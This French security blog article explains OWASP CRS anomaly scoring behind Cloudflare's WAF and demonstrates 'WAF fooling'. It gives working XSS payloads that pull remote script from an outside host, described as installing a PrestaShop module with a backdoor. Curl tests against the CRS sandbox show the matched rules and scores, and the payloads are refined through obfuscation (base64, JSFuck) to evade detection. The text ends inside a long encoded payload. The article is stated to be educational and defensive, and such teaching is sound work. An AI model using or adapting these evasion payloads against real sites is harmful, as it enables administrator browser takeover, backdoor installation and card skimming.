Cloudflare PrestaShop : les petits secrets des WAF ou le WAF fooling


Dernière modification le 05/01/2026 par Vincent G.


1. Comment fonctionne le WAF de Cloudflare et, par extension, OWASP CRS ?



Pour la suite de cet article, nous partons du principe que vous avez déjà lu nos autres publications et que vous savez donc ce qu'est un WAF et à quoi il sert.

Cloudflare est un bon outil qui propose un WAF à partir de son offre à 240€ HT par an (l'offre gratuite n'en inclut aucun).

Néanmoins, à ce niveau tarifaire préférentiel, le niveau de protection offert demeure très limité et s'avère bien souvent inutile. Seule l'offre à 2 400 € HT par an permet de bénéficier d'une protection de niveau professionnel, sous réserve que la configuration - manuellement réalisée par vos soins - ait été correctement mise en œuvre, ce qui est loin d'être systématiquement le cas.

Nous allons voir pourquoi dans cet article. Il ne s'agit pas d'une critique de Cloudflare en tant que solution, mais bien d'une remise en question des configurations défaillantes de WAF basés sur OWASP CRS (dont Cloudflare), déployées par des sociétés tierces peu scrupuleuses.



Pour comprendre le fonctionnement du WAF de Cloudflare, il est essentiel de comprendre ce sur quoi il repose : en grande majorité sur OWASP CRS, l'une des meilleures solutions WAF Open Source existantes à ce jour.

Il ne s'agit donc pas ici d'expliquer le fonctionnement interne de Cloudflare, mais bien de comprendre le fonctionnement d'OWASP CRS, puisque c'est lui qui constitue le cœur du WAF.

OWASP CRS met à disposition plus de 300 règles de sécurité conçues par les meilleurs spécialistes en cybersécurité applicative au monde, classées selon quatre niveaux dits de paranoïa.

Chaque requête envoyée à PrestaShop - par exemple via un formulaire de contact, une inscription ou une authentification - est analysée par l'ensemble de ces règles selon le niveau de paranoïa configuré.

Lorsqu'une règle détecte une séquence considérée comme anormale ou suspecte, un score d'anomalie est incrémenté.

Ce score varie en fonction de la gravité de la détection, généralement de 1 à 5 points par règle.

Lors d'une attaque, une même requête déclenche souvent plusieurs règles ; chacune incrémente alors successivement le score global de la requête

Le rôle du DevSecOps (spécialiste en cybersécurité applicative) en charge de la sécurité de votre projet est donc d'arbitrer en permanence entre le score généré par les règles et le seuil au-delà duquel la requête doit être bloquée.

Tout en gardant à l'esprit qu'aucune règle de sécurité n'existe sans générer, à un moment ou à un autre, des blocages non souhaités, également appelés faux positifs.


Avant propos :

Nous savons que cet article est en train d'être lu et traduit par des confrères anglo-saxons, germaniques et helvétiques. Nous vous prions de partir du principe que le propos ne concerne que les écosystèmes que nous connaissons, à savoir l'écosystème français des solutions e-commerce PHP. Certaines assertions ne sont donc pas applicables à d'autres écosystèmes gérés de manière rigoureuse.

Des vagues d'attaques sans précédent font actuellement rage afin de piller massivement des données bancaires via des webskimmers, lesquelles sont ensuite largement passées sous silence par les marchands concernés, avec la complaisance de leurs agences web, hébergeurs et infogérants.

Comme toujours dans nos articles, vous n'y trouverez ni promesses miracles, ni discours marketing creux.

Cet article s'adresse à des marchands qui prennent leurs responsabilités, respectent leurs salariés comme leurs clients, cherchent à sécuriser professionnellement leur boutique PrestaShop et à apprendre à poser les bonnes questions.

Ce papier fait suite aux sinistres subis par les écosystèmes e-commerce au second semestre 2025. Il est temps que tout le monde devienne sérieux.

Nombre d'entre vous étaient censés être protégés derrière des WAF que l'on vous avait vendus comme professionnels, tels que Cloudflare.

Nous avons pleinement conscience que de nombreux marchands, par instinct de survie, choisissent d'enterrer les compromissions qu'ils subissent - d'autant plus lorsqu'il s'agit de vols massifs de données bancaires, compte tenu du risque réputationnel pour leurs sociétés et ce avec la complicité de leurs prestataires (agences web, infogérants et hébergeurs).

Nous avons également conscience que le name & shame sur LinkedIn et X (ex-Twitter) contribue à aggraver l'omerta autour des piratages. Nous travaillons également cet aspect publiquement afin de remettre les points sur les i auprès des adeptes de cette pratique, que nous jugeons contre-productive.

Néanmoins, nous enjoignons ces marchands à entendre raison : ne pas déposer plainte auprès de la gendarmerie empêche les forces de l'ordre de diligenter des enquêtes et envoie, de fait, un message à l'ensemble de l'écosystème criminel aux conséquences funestes à moyen terme pour les marchands :

Piratez-nous comme vous voulez, tout sera de toute manière enterré.


Cette pratique ne peut qu'aboutir à une aggravation de la menace, déjà jugée élevée depuis les sinistres de l'écosystème Magento (Cosmic Sting et Session Reaper), de l'écosystème NodeJS/React (React2Shell) et de PrestaShop (SoftByLinux / SoftwareByMS).

Lorsqu'un vol massif de données bancaires est volontairement dissimulé, les victimes deviennent - a minima moralement - complices de la revente de ces données sur le DarkNet.

Et s'il est nécessaire de rappeler ce qu'est le DarkNet : il incarne l'aboutissement d'un libertarianisme sans limite, nous vous recommandons cet article de la Gendarmerie à ce sujet.

Enterrer un vol massif de données bancaires, c'est participer - par renoncement - à cette économie souterraine, qui concentre ce que l'humanité produit de plus destructeur.

Par ailleurs, à ceux qui nous contactent après avoir été compromis : il est important de préciser que nous n'intervenons plus depuis Février 2023 sur des environnements déjà compromis. Nous refusons systématiquement ce type de dossiers.

Notre position est claire : nous sommes des nutritionnistes, pas des chirurgiens. Traiter des pathologies lourdes ne relève pas de notre métier.

Notre rôle est de faire en sorte que nos clients n'en développent jamais, par une démarche rigoureuse de prévention, d'anticipation et de discipline opérationnelle.

De plus, nous considérons moralement intenable d'intervenir pour nettoyer des compromissions que les marchands choisissent - dans la quasi-totalité des cas - d'enterrer, au mépris à la fois de leurs obligations contractuelles vis-à-vis de leur banque (contrat de vente à distance) et de leurs responsabilités envers leur clientèle.

Un jour viendra où les prestataires réalisant des remédiations post-compromission seront audités par la CNIL sur la nature de leurs actions et sur le respect effectif du cadre légal. Se retrancher derrière un donneur d'ordres pour neutraliser sa propre responsabilité ne tiendra pas dans la durée.

À tous ceux qui commercialisent des solutions de cybersécurité sans en assumer clairement et honnêtement les limites : vous contribuez à dégrader la crédibilité de notre verticale : l'AppSec. TouchWeb, comme de nombreux intégrateurs de solutions de cybersécurité professionnelles évaluées et reconnues par des pairs spécialisés (tels que Qualys), subit par ricochet les effets de votre communication trompeuse. Ces pratiques doivent cesser. À défaut d'entendre la voie du dialogue, la DGCCRF pourrait être amenée à vous le rappeler de manière nettement moins cordiale.

2. Qu'est-ce que le WAF Fooling ou la production de charges offensives à faible empreinte ?



La recommandation officielle d'OWASP CRS est de bloquer une requête lorsque le score d'anomalie dépasse 5, ce qui signifie qu'une règle critique - ou une combinaison de règles significatives - a été déclenchée.

De plus en plus de réseaux criminels ont parfaitement compris que nombre d'acteurs ne respectaient pas cette prérogative. Notamment ceux utilisant Cloudflare.

Un protocole de défense n'est pas un examen de compétences où l'on peut se satisfaire d'une note de 10/20 : c'est un barrage, et la moindre fissure suffit à provoquer un effondrement complet. Les récents sinistres nous l'ont collectivement rappelé.

En matière de sécurité applicative, la rigueur n'est pas une option ; c'est la condition minimale pour espérer contenir des charges offensives conçues précisément pour rester sous les radars.

Ces mêmes réseaux se sont spécialisés dans le contournement de WAF en produisant des charges ayant le score d'anomalie le plus faible possible (low fingerprint payloads - charges à faible empreinte). Cette pratique s'appelle le WAF Fooling ou


Comment tromper un WAF n'étant pas correctement configuré


Les charges offensives - de gravité sévère à critique - présentées ci-dessous sont publiées à des fins strictement pédagogiques, afin de permettre aux tiers de comprendre comment des réseaux criminels professionnels parviennent à compromettre des systèmes, malgré la présence d'outils de cyberdéfense commercialisés par des prestataires peu scrupuleux, tels que des WAF Cloudflare configurés de manière inadaptée.

Toute utilisation de ces charges en dehors d'un cadre légal et sans autorisation explicite est pénalement répréhensible et expose son auteur à des poursuites judiciaires.

Analysons cela de manière détaillée, en abordant quelques classes de vulnérabilités courantes dans nos écosystèmes : injections XSS, SQL, PHP, RCE, Path Traversal et les XXE.



2.1/ Les injections XSS



Entrons immédiatement dans la matière via les XSS, ou comment prendre le contrôle à distance des navigateurs Internet des administrateurs de sites PrestaShop ou de leurs clientèles.

Prenons pour exemple cette injection XSS (CWE-79) de catégorie 1 qui permet d'auto-installer un module sur PrestaShop contenant une porte dérobée désarmée :

?hdby=<script src='https://1j.vc/ps_a.js' />

Des variantes sont disponibles pour Wordpress ici : https://1j.vc/wp_a.js / https://1j.vc/wp_b.js

OWASP CRS fournit un outil permettant de mesurer le score des séquences d'attaque : http://sandbox.coreruleset.org/

Testons notre charge avec un WAF configuré avec un niveau de paranoïa égal à 1, également appelé PL 1 (Paranoia Level 1) :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d "hdby=<script src='https://1j.vc/ps_a.js' />"
941100 PL1 XSS Attack Detected via libinjection
941110 PL1 XSS Filter - Category 1: Script Tag Vector
941160 PL1 NoScript XSS InjectionChecker: HTML Injection
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 15)


Veuillez constater le score de la charge : 15, correspondant au déclenchement de trois règles critiques.

Comprendre : si votre WAF ne bloque pas les scores supérieurs ou égaux à 15, cette charge passera sans difficulté.

Voici le même exemple, mais avec un WAF configuré avec un niveau de paranoïa égal à 2, également appelé PL 2 (Paranoia Level 2) - ce niveau inclut également l'ensemble des règles du PL 1 (Paranoia Level 1) :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=<script src='https://1j.vc/ps_a.js' />"
931130 PL2 Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link
941100 PL1 XSS Attack Detected via libinjection
941110 PL1 XSS Filter - Category 1: Script Tag Vector
941160 PL1 NoScript XSS InjectionChecker: HTML Injection
941150 PL2 XSS Filter - Category 5: Disallowed HTML Attributes
941320 PL2 Possible XSS Attack Detected - HTML Tag Handler
942520 PL2 Detects basic SQL authentication bypass attempts 4.0/4
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 35)


Veuillez constater le score de la charge : 35, correspondant au déclenchement de sept règles critiques. Comprendre : si votre WAF ne bloque pas les scores supérieurs ou égaux à 35, cette charge passera sans difficulté.

À partir de ces deux tests, vous devriez comprendre aisément qu'il est fortement recommandé de travailler avec un niveau de paranoïa égal à 2, les charges malveillantes y déclenchant deux fois plus de règles de sécurité.

Néanmoins, ces charges restent de niveau junior ; il existe de nombreuses variantes permettant d'aboutir au même résultat.

Prenons par exemple ce variant XSS de catégorie 2, fonctionnellement identique dans un contexte utilisant jQuery, ce qui est le cas de la quasi-totalité des sites e-commerce :

?hdby=<img src=- onerror="$.getScript('//1j.vc/ps_a.js')" />

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:1" "http://sandbox.coreruleset.org/" -d 'hdby=<img src=- onerror="\$.getScript(%27//1j.vc/ps_a.js%27)" />'
941100 PL1 XSS Attack Detected via libinjection
941160 PL1 NoScript XSS InjectionChecker: HTML Injection
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 10)


Veuillez constater le score de la charge : 10, correspondant au déclenchement de seulement deux règles critiques. Comprendre : si votre WAF ne bloque pas les scores supérieurs ou égaux à 10, cette charge passera sans difficulté.

Ceux d'entre vous qui programment en JavaScript auront sans doute remarqué qu'il n'est pas tout à fait honnête intellectuellement de tester cette charge telle quelle. En effet, la majorité des chargements de jQuery sont aujourd'hui asynchrones ; dans ce contexte, la variable $ n'est pas encore initialisée au moment du chargement du contenu HTML.

Voici donc une charge ajustée, plus représentative de la menace pesant sur jQuery :

?hdby=<img src=- onerror="setTimeout(() => {$.getScript('//1j.vc')},2000)" />

Cette fois-ci, nous la soumettrons directement au niveau de paranoïa 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d 'hdby=%3Cimg%20src%3D-%20onerror%3D%22setTimeout%28%28%29%20%3D%3E%20%7B%24.getScript%28%27%2F%2F1j.vc%27%29%7D%2C2000%29%22%20%2F%3E'
932200 PL2 RCE Bypass Technique
932200 PL2 RCE Bypass Technique
941100 PL1 XSS Attack Detected via libinjection
941160 PL1 NoScript XSS InjectionChecker: HTML Injection
941390 PL1 Javascript method detected
941120 PL2 XSS Filter - Category 2: Event Handler Vector
941150 PL2 XSS Filter - Category 5: Disallowed HTML Attributes
941320 PL2 Possible XSS Attack Detected - HTML Tag Handler
942200 PL2 Detects MySQL comment-/space-obfuscated injections and backtick termination
942370 PL2 Detects classic SQL injection probings 2/3
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
942520 PL2 Detects basic SQL authentication bypass attempts 4.0/4
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 58)


Le score initial de la charge s'élève à 58 points. Nous allons donc procéder à plusieurs ajustements afin de limiter les règles déclenchées :

?hdby=<img src=- onerror="setTimeout(() => {$.getScript(atob(String(/Ly8xai52Yw/).slice(1,-1)))},1000);" a />

Pour réduire l'empreinte, nous avons manufacturé la charge pour neutraliser certaines règles de sécurité. Voyons du côté du score sur le Paranoïa niveau 2 :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d 'hdby=%3Cimg%20src%3D-%20onerror%3D%22setTimeout%28%28%29%20%3D%3E%20%7B%24.getScript%28atob%28String%28%2FLy8xai52Yw%2F%29.slice%281%2C-1%29%29%29%7D%2C1000%29%3B%22%20a%20%2F%3E'
932281 PL2 Remote Command Execution: Brace Expansion Found
941100 PL1 XSS Attack Detected via libinjection
941160 PL1 NoScript XSS InjectionChecker: HTML Injection
941390 PL1 Javascript method detected
941120 PL2 XSS Filter - Category 2: Event Handler Vector
941150 PL2 XSS Filter - Category 5: Disallowed HTML Attributes
941320 PL2 Possible XSS Attack Detected - HTML Tag Handler
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 38)


Le score a été réduit de 20 points, passant de 58 points à 38 points.

Il existe néanmoins un petit secret concernant les WAF : les règles 941160, 941320 et 942430 sont très difficiles à maintenir actives en production. Elles interdisent de facto l'envoi de séquences HTML, pourtant fréquentes en contexte e-commerce, et imposent de lister exhaustivement toutes les pages devant autoriser ce type de contenu - une contrainte que les intégrateurs non professionnels n'acceptent quasiment jamais.

Dans les faits, l'écrasante majorité des WAF désactive donc ces trois règles. En tenant compte de cette réalité terrain, le score chute mécaniquement de 38 à 23 points (38 points moins trois règles à 5 points chacune).

Le score réellement observé est ainsi le plus souvent de 23 points, un niveau aligné avec cette variante, bien plus représentative, des XSS de catégorie 2 :

?hdby=" onerror="setTimeout(() => {$.getScript(atob(String(/Ly8xai52Yw/).slice(1,-1)))},1000);" "

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=%22%20onerror%3D%22setTimeout%28%28%29%20%3D%3E%20%7B%24.getScript%28atob%28String%28%2FLy8xai52Yw%2F%29.slice%281%2C-1%29%29%29%7D%2C1000%29%3B%22%20%22"
932281 PL2 Remote Command Execution: Brace Expansion Found
941100 PL1 XSS Attack Detected via libinjection
941160 PL1 NoScript XSS InjectionChecker: HTML Injection
941390 PL1 Javascript method detected
941120 PL2 XSS Filter - Category 2: Event Handler Vector
942430 PL2 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (12)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 28)


Ou sa variante transformée avec JSFuck (https://jsfuck.com/) :

curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:2" "http://sandbox.coreruleset.org/" -d "hdby=%22%20onerror%3D%22%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%28%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%